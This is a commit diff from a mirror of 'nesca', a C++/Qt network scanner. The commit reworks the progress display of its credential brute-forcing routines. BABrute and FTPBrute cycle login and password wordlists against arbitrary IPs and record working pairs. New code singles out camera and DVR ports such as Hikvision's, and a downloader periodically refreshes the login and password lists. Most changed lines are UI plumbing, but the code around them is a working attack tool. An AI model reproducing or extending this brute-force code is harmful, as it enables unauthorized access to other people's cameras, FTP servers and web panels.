mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 10:42:21 +00:00
Shuffle visualizer
This commit is contained in:
parent
68bfe1800c
commit
36f908a204
@ -25,8 +25,6 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) {
|
|||||||
|| Utils::ustrstr(*buffer, "403 Forbidden") != -1
|
|| Utils::ustrstr(*buffer, "403 Forbidden") != -1
|
||||||
)
|
)
|
||||||
{
|
{
|
||||||
stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")");
|
|
||||||
|
|
||||||
Sleep(30000);
|
Sleep(30000);
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
@ -47,33 +45,28 @@ inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
lopaStr BA::BABrute(const char *ip, const int port) {
|
||||||
string lpString;
|
bool digestMode = true;
|
||||||
|
string lpString;
|
||||||
lopaStr lps = {"UNKNOWN", "", ""};
|
lopaStr lps = {"UNKNOWN", "", ""};
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
int res = 0;
|
int res = 0;
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
std::string buff;
|
std::string buff;
|
||||||
Connector con;
|
Connector con;
|
||||||
Sleep(1000);
|
|
||||||
con.nConnect(ip, port, &buff);
|
con.nConnect(ip, port, &buff);
|
||||||
int isDig = Utils::isDigest(&buff);
|
int isDig = Utils::isDigest(&buff);
|
||||||
|
QString ipString = QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port);
|
||||||
if (isDig == -1) {
|
if (isDig == -1) {
|
||||||
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port) + "/\">" +
|
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + ipString + "/\">" +
|
||||||
QString(ip) + ":" + QString::number(port) + "</a></span>");
|
ipString + "</a></span>");
|
||||||
strcpy(lps.login, "");
|
strcpy(lps.login, "");
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
else if (isDig == 1) {
|
else if (isDig == 1) digestMode = true;
|
||||||
if (digestMode != true) {
|
else digestMode = false;
|
||||||
digestMode = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
if (digestMode != false) {
|
|
||||||
digestMode = false;
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
|
|
||||||
@ -96,6 +89,13 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
|||||||
else if (res != -1) {
|
else if (res != -1) {
|
||||||
res = checkOutput(&buffer, ip, port);
|
res = checkOutput(&buffer, ip, port);
|
||||||
if (res == -2) {
|
if (res == -2) {
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "404");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "404");
|
||||||
|
}
|
||||||
strcpy(lps.other, "404");
|
strcpy(lps.other, "404");
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
@ -104,31 +104,53 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
if (res == 1) {
|
if (res == 1) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
|
||||||
|
}
|
||||||
|
|
||||||
strcpy(lps.login, loginLst[i]);
|
strcpy(lps.login, loginLst[i]);
|
||||||
strcpy(lps.pass, passLst[j]);
|
strcpy(lps.pass, passLst[j]);
|
||||||
return lps;
|
return lps;
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
|
if (BALogSwitched) {
|
||||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
if (rowIndex == -1) {
|
||||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
|
||||||
|
QString(loginLst[i]) + ":" + QString(passLst[j]),
|
||||||
Sleep(100);
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else { rowIndex = -1; }
|
||||||
|
++passCounter;
|
||||||
|
Sleep(50);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
|
|
||||||
lopaStr BA::BALobby(const char *ip, const int port, bool digestMode) {
|
lopaStr BA::BALobby(const char *ip, const int port) {
|
||||||
if(gMaxBrutingThreads > 0) {
|
if(gMaxBrutingThreads > 0) {
|
||||||
|
|
||||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||||
|
|
||||||
++baCount;
|
++baCount;
|
||||||
++BrutingThrds;
|
++BrutingThrds;
|
||||||
const lopaStr &lps = BABrute(ip, port, digestMode);
|
const lopaStr &lps = BABrute(ip, port);
|
||||||
--BrutingThrds;
|
--BrutingThrds;
|
||||||
|
|
||||||
return lps;
|
return lps;
|
||||||
|
@ -8,11 +8,11 @@
|
|||||||
|
|
||||||
class BA {
|
class BA {
|
||||||
private:
|
private:
|
||||||
static lopaStr BABrute(const char *ip, const int port, bool digestMode);
|
static lopaStr BABrute(const char *ip, const int port);
|
||||||
|
|
||||||
public:
|
public:
|
||||||
static int checkOutput(const string *buffer, const char *ip, const int port);
|
static int checkOutput(const string *buffer, const char *ip, const int port);
|
||||||
static lopaStr BALobby(const char *ip, const int port, bool digestMode);
|
static lopaStr BALobby(const char *ip, const int port);
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // BASICAUTH_H
|
#endif // BASICAUTH_H
|
||||||
|
@ -2,7 +2,6 @@
|
|||||||
#include "SSHAuth.h"
|
#include "SSHAuth.h"
|
||||||
#include "Filter.h"
|
#include "Filter.h"
|
||||||
|
|
||||||
|
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
int _pingMyTarget(const char *ip)
|
int _pingMyTarget(const char *ip)
|
||||||
{
|
{
|
||||||
@ -197,16 +196,14 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
else res = curl_easy_perform(curl);
|
else res = curl_easy_perform(curl);
|
||||||
|
|
||||||
int sz = buffer->size();
|
int sz = buffer->size();
|
||||||
|
|
||||||
|
curl_easy_cleanup(curl);
|
||||||
if (res == CURLE_OK || (port == 21 && sz > 0)) {
|
if (res == CURLE_OK || (port == 21 && sz > 0)) {
|
||||||
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||||
Activity += sz;
|
Activity += sz;
|
||||||
|
|
||||||
curl_easy_cleanup(curl);
|
|
||||||
return sz;
|
return sz;
|
||||||
} else {
|
} else {
|
||||||
curl_easy_cleanup(curl);
|
|
||||||
if (res == 6) return -2;
|
if (res == 6) return -2;
|
||||||
if (res == 56 && port == 8000) return 1; //Hikvision
|
|
||||||
else if (res != 28 &&
|
else if (res != 28 &&
|
||||||
res != 7 &&
|
res != 7 &&
|
||||||
res != 13 &&
|
res != 13 &&
|
||||||
@ -219,7 +216,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
res != 23)
|
res != 23)
|
||||||
{
|
{
|
||||||
if (res == 5) {
|
if (res == 5) {
|
||||||
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
|
stt->doEmitionRedFoundData("The given proxy host could not be resolved.");
|
||||||
return -2;
|
return -2;
|
||||||
} else if (res == 8) {
|
} else if (res == 8) {
|
||||||
stt->doEmitionFoundData("Strange ftp reply. (" +
|
stt->doEmitionFoundData("Strange ftp reply. (" +
|
||||||
@ -251,6 +248,28 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool portCheck(const char * sDVRIP, int wDVRPort) {
|
||||||
|
CURL *curl = curl_easy_init();
|
||||||
|
if (curl != NULL) {
|
||||||
|
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_URL, sDVRIP);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_PORT, wDVRPort);
|
||||||
|
int proxyPort = std::atoi(gProxyPort);
|
||||||
|
if (proxyPort > 0 && proxyPort < 65535) curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L);
|
||||||
|
|
||||||
|
int res = curl_easy_perform(curl);
|
||||||
|
curl_easy_cleanup(curl);
|
||||||
|
if (res != CURLE_OK) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
else return true;
|
||||||
|
}
|
||||||
|
else return false;
|
||||||
|
}
|
||||||
int Connector::connectToPort(char* ip, int port)
|
int Connector::connectToPort(char* ip, int port)
|
||||||
{
|
{
|
||||||
if(gPingNScan)
|
if(gPingNScan)
|
||||||
@ -261,16 +280,25 @@ int Connector::connectToPort(char* ip, int port)
|
|||||||
std::string buffer;
|
std::string buffer;
|
||||||
int size = 0;
|
int size = 0;
|
||||||
|
|
||||||
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
|
if (port != 37777 && port != 8000 && port != 34567 && port != 9000){
|
||||||
else size = nConnect(ip, port, &buffer);
|
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
|
||||||
|
else size = nConnect(ip, port, &buffer);
|
||||||
|
|
||||||
if(size > 0)
|
if (size > 0)
|
||||||
{
|
{
|
||||||
++Alive;//ME2
|
++Alive;//ME2
|
||||||
++found;//PieStat
|
++found;//PieStat
|
||||||
Lexems lx;
|
Lexems lx;
|
||||||
lx.filler(ip, port, &buffer, size, &lx);
|
lx.filler(ip, port, &buffer, size, &lx);
|
||||||
|
}
|
||||||
|
else if (size == -2) return -2;
|
||||||
|
} else {
|
||||||
|
if (portCheck(ip, port)) {
|
||||||
|
++Alive;//ME2
|
||||||
|
++found;//PieStat
|
||||||
|
Lexems lx;
|
||||||
|
lx.filler(ip, port, &buffer, size, &lx);
|
||||||
|
};
|
||||||
}
|
}
|
||||||
else if (size == -2) return -2;
|
return 0;
|
||||||
return 0;
|
|
||||||
}
|
}
|
||||||
|
26
Connector.h
26
Connector.h
@ -10,6 +10,27 @@
|
|||||||
#pragma comment(lib, "iphlpapi.lib")
|
#pragma comment(lib, "iphlpapi.lib")
|
||||||
#pragma comment(lib,"curllib.lib")
|
#pragma comment(lib,"curllib.lib")
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
#include <openssl/err.h>
|
||||||
|
|
||||||
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
|
#define MUTEX_TYPE HANDLE
|
||||||
|
#define MUTEX_SETUP(x) (x) = CreateMutex(NULL, FALSE, NULL)
|
||||||
|
#define MUTEX_CLEANUP(x) CloseHandle(x)
|
||||||
|
#define MUTEX_LOCK(x) WaitForSingleObject((x), INFINITE)
|
||||||
|
#define MUTEX_UNLOCK(x) ReleaseMutex(x)
|
||||||
|
#define THREAD_ID GetCurrentThreadId()
|
||||||
|
#else
|
||||||
|
#include <pthread.h>
|
||||||
|
#define MUTEX_TYPE pthread_mutex_t
|
||||||
|
#define MUTEX_SETUP(x) pthread_mutex_init(&(x), NULL)
|
||||||
|
#define MUTEX_CLEANUP(x) pthread_mutex_destroy(&(x))
|
||||||
|
#define MUTEX_LOCK(x) pthread_mutex_lock(&(x))
|
||||||
|
#define MUTEX_UNLOCK(x) pthread_mutex_unlock(&(x))
|
||||||
|
#define THREAD_ID pthread_self()
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
class Connector {
|
class Connector {
|
||||||
|
|
||||||
public:
|
public:
|
||||||
@ -18,11 +39,6 @@ public:
|
|||||||
const std::vector<std::string> *customHeaders = NULL,
|
const std::vector<std::string> *customHeaders = NULL,
|
||||||
const std::string *lpString = NULL,
|
const std::string *lpString = NULL,
|
||||||
bool digestMode = false);
|
bool digestMode = false);
|
||||||
//static int nConnect2(const char* ip, const int port, std::string *buffer,
|
|
||||||
// const char *postData = NULL,
|
|
||||||
// const std::vector<std::string> *customHeaders = NULL,
|
|
||||||
// const std::string *lpString = NULL,
|
|
||||||
// bool digestMode = false);
|
|
||||||
int connectToPort(char *ip, int port);
|
int connectToPort(char *ip, int port);
|
||||||
};
|
};
|
||||||
#endif // CONNECTOR_H
|
#endif // CONNECTOR_H
|
||||||
|
@ -40,8 +40,8 @@ int MakePolygonLine(int gWidth)
|
|||||||
xtx = x + tx;
|
xtx = x + tx;
|
||||||
if(xtx > 1 && xtx < 31)
|
if(xtx > 1 && xtx < 31)
|
||||||
{
|
{
|
||||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - AnomC1 * 2 - fact1 : ME2YPOS);
|
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - camerasC1 * 2 - fact1 : ME2YPOS);
|
||||||
if(AnomC1 > 0)
|
if (camerasC1 > 0)
|
||||||
{
|
{
|
||||||
if(xtx < 16 ) fact1+=2;
|
if(xtx < 16 ) fact1+=2;
|
||||||
else fact1-=2;
|
else fact1-=2;
|
||||||
@ -50,9 +50,9 @@ int MakePolygonLine(int gWidth)
|
|||||||
|
|
||||||
if(xtx > 34 && xtx < 72)
|
if(xtx > 34 && xtx < 72)
|
||||||
{
|
{
|
||||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - WF * 2 - fact2 : ME2YPOS);
|
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*WF*/0 * 2 - fact2 : ME2YPOS);
|
||||||
|
|
||||||
if(WF > 0)
|
if(/*WF*/0 > 0)
|
||||||
{
|
{
|
||||||
if(xtx < 52 ) fact2+=2;
|
if(xtx < 52 ) fact2+=2;
|
||||||
else fact2-=2;
|
else fact2-=2;
|
||||||
@ -72,9 +72,9 @@ int MakePolygonLine(int gWidth)
|
|||||||
|
|
||||||
if(xtx > 114 && xtx < 152)
|
if(xtx > 114 && xtx < 152)
|
||||||
{
|
{
|
||||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Susp * 2 - fact4 : ME2YPOS);
|
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - other * 2 - fact4 : ME2YPOS);
|
||||||
|
|
||||||
if(Susp > 0)
|
if (other > 0)
|
||||||
{
|
{
|
||||||
if(xtx < 132 ) fact4+=2;
|
if(xtx < 132 ) fact4+=2;
|
||||||
else fact4-=2;
|
else fact4-=2;
|
||||||
@ -94,9 +94,9 @@ int MakePolygonLine(int gWidth)
|
|||||||
|
|
||||||
if(xtx > 194 && xtx < 232)
|
if(xtx > 194 && xtx < 232)
|
||||||
{
|
{
|
||||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Lowl * 2 - fact6 : ME2YPOS);
|
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*Lowl*/0 * 2 - fact6 : ME2YPOS);
|
||||||
|
|
||||||
if(Lowl > 0)
|
if(/*Lowl*/0 > 0)
|
||||||
{
|
{
|
||||||
if(xtx < 212 ) fact6+=2;
|
if(xtx < 212 ) fact6+=2;
|
||||||
else fact6-=2;
|
else fact6-=2;
|
||||||
@ -118,14 +118,14 @@ int MakePolygonLine(int gWidth)
|
|||||||
tx = x;
|
tx = x;
|
||||||
};
|
};
|
||||||
|
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
|
|
||||||
DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS));
|
DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS));
|
||||||
return DrawerTh_ME2Scanner::polyVect.size();
|
return DrawerTh_ME2Scanner::polyVect.size();
|
||||||
@ -148,14 +148,14 @@ void DrawerTh_ME2Scanner::run()
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
msleep(1000);
|
msleep(1000);
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
};
|
};
|
||||||
msleep(100);
|
msleep(100);
|
||||||
};
|
};
|
||||||
|
@ -12,10 +12,10 @@ void DrawerTh_QoSScanner::run()
|
|||||||
{
|
{
|
||||||
lstOfLabels.clear();
|
lstOfLabels.clear();
|
||||||
lstOfLabels.append(Alive);
|
lstOfLabels.append(Alive);
|
||||||
lstOfLabels.append(AnomC1);
|
lstOfLabels.append(camerasC1);
|
||||||
lstOfLabels.append(WF);
|
//lstOfLabels.append(WF);
|
||||||
lstOfLabels.append(Susp);
|
lstOfLabels.append(other);
|
||||||
lstOfLabels.append(Lowl);
|
//lstOfLabels.append(Lowl);
|
||||||
lstOfLabels.append(baCount);
|
lstOfLabels.append(baCount);
|
||||||
lstOfLabels.append(Overl);
|
lstOfLabels.append(Overl);
|
||||||
lstOfLabels.append(ssh);
|
lstOfLabels.append(ssh);
|
||||||
@ -29,25 +29,25 @@ void DrawerTh_QoSScanner::run()
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
msleep(500);
|
msleep(500);
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
ssh = 0;
|
ssh = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
ssh = 0;
|
ssh = 0;
|
||||||
msleep(2000);
|
msleep(2000);
|
||||||
};
|
};
|
||||||
|
@ -104,15 +104,15 @@ void DrawerTh_VoiceScanner::run()
|
|||||||
{
|
{
|
||||||
if(widgetIsHidden == false && tray->isVisible() == false)
|
if(widgetIsHidden == false && tray->isVisible() == false)
|
||||||
{
|
{
|
||||||
makeVoiceLine(Alive, AnomC1, WF, Susp, Lowl, baCount, Overl, WF, ssh);
|
makeVoiceLine(Alive, camerasC1, 0, other, 0, baCount, Overl, 0, ssh);
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
ssh = 0;
|
ssh = 0;
|
||||||
|
|
||||||
vsTh->doEmitAddLine();
|
vsTh->doEmitAddLine();
|
||||||
@ -122,13 +122,13 @@ void DrawerTh_VoiceScanner::run()
|
|||||||
{
|
{
|
||||||
msleep(500);
|
msleep(500);
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
ssh = 0;
|
ssh = 0;
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
65
FTPAuth.cpp
65
FTPAuth.cpp
@ -17,26 +17,26 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
|||||||
|
|
||||||
int res = 0;
|
int res = 0;
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
char login[128] = {0};
|
char login[128] = {0};
|
||||||
char pass[32] = {0};
|
char pass[32] = {0};
|
||||||
char nip[128] = { 0 };
|
char nip[128] = { 0 };
|
||||||
|
|
||||||
for(int i = 0; i < MaxLogin; ++i)
|
for (int i = 0; i < MaxFTPLogin; ++i)
|
||||||
{
|
{
|
||||||
if(!globalScanFlag) return lps;
|
if(!globalScanFlag) return lps;
|
||||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
|
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||||
if(strlen(loginLst[i]) <= 1) continue;
|
strcpy(login, ftpLoginLst[i]);
|
||||||
|
if (strlen(login) <= 1) continue;
|
||||||
|
|
||||||
strcpy(login, loginLst[i]);
|
|
||||||
|
|
||||||
for(int j = 0; j < MaxPass; ++j)
|
for (int j = 0; j < MaxFTPPass; ++j)
|
||||||
{
|
{
|
||||||
if(!globalScanFlag) return lps;
|
if(!globalScanFlag) return lps;
|
||||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
|
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||||
if(strlen(passLst[j]) <= 1) continue;
|
strcpy(pass, ftpPassLst[j]);
|
||||||
|
if (strlen(pass) <= 1) continue;
|
||||||
strcpy(pass, passLst[j]);
|
|
||||||
|
|
||||||
lpString = string(login) + ":" + string(pass);
|
lpString = string(login) + ":" + string(pass);
|
||||||
|
|
||||||
@ -44,23 +44,54 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
|||||||
sprintf(nip, "ftp://%s", ip);
|
sprintf(nip, "ftp://%s", ip);
|
||||||
Connector con;
|
Connector con;
|
||||||
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
|
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
|
||||||
if (res == -2) return lps;
|
if (res == -2) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
else if (res != -1) {
|
else if (res != -1) {
|
||||||
if (!globalScanFlag) return lps;
|
if (!globalScanFlag) return lps;
|
||||||
strcpy(lps.login, login);
|
strcpy(lps.login, login);
|
||||||
strcpy(lps.pass, pass);
|
strcpy(lps.pass, pass);
|
||||||
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
|
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
|
||||||
return lps;
|
return lps;
|
||||||
};
|
};
|
||||||
|
|
||||||
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
|
if (BALogSwitched) {
|
||||||
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
if (rowIndex == -1) {
|
||||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
|
||||||
|
QString(login) + ":" + QString(pass),
|
||||||
Sleep(100);
|
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else { rowIndex = -1; }
|
||||||
|
++passCounter;
|
||||||
|
Sleep(50);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -69,15 +100,13 @@ lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
|
|||||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||||
|
|
||||||
++baCount;
|
++baCount;
|
||||||
//BruteUtils::BConInc();
|
|
||||||
++BrutingThrds;
|
++BrutingThrds;
|
||||||
const lopaStr &lps = FTPBrute(ip, port, ps);
|
const lopaStr &lps = FTPBrute(ip, port, ps);
|
||||||
--BrutingThrds;
|
--BrutingThrds;
|
||||||
//BruteUtils::BConDec();
|
|
||||||
|
|
||||||
return lps;
|
return lps;
|
||||||
} else {
|
} else {
|
||||||
lopaStr lps = {"UNKNOWN", "", ""};;
|
lopaStr lps = {"UNKNOWN", "", ""};
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -48,12 +48,12 @@ void checkWeb(const char *fileName, std::string *oldLM) {
|
|||||||
|
|
||||||
void FileDownloader::checkWebFiles() {
|
void FileDownloader::checkWebFiles() {
|
||||||
while (true) {
|
while (true) {
|
||||||
checkWeb("negatives.txt", &lastModifiedNeg);
|
checkWeb(NEGATIVE_FN, &lastModifiedNeg);
|
||||||
checkWeb("login.txt", &lastModifiedL);
|
checkWeb(LOGIN_FN, &lastModifiedL);
|
||||||
checkWeb("pass.txt", &lastModifiedP);
|
checkWeb(PASS_FN, &lastModifiedP);
|
||||||
checkWeb("sshpass.txt", &lastModifiedSSH);
|
checkWeb(SSH_PASS_FN, &lastModifiedSSH);
|
||||||
checkWeb("wflogin.txt", &lastModifiedWFL);
|
checkWeb(WF_LOGIN_FN, &lastModifiedWFL);
|
||||||
checkWeb("wfpass.txt", &lastModifiedWFP);
|
checkWeb(WF_PASS_FN, &lastModifiedWFP);
|
||||||
Sleep(600000);
|
Sleep(600000);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
138
FileUpdater.cpp
138
FileUpdater.cpp
@ -3,6 +3,11 @@
|
|||||||
#include "STh.h"
|
#include "STh.h"
|
||||||
#include "mainResources.h"
|
#include "mainResources.h"
|
||||||
|
|
||||||
|
char **loginLst, **passLst;
|
||||||
|
char **wfLoginLst, **wfPassLst;
|
||||||
|
char **ftpLoginLst, **ftpPassLst;
|
||||||
|
char **sshlpLst;
|
||||||
|
|
||||||
bool FileUpdater::running = false;
|
bool FileUpdater::running = false;
|
||||||
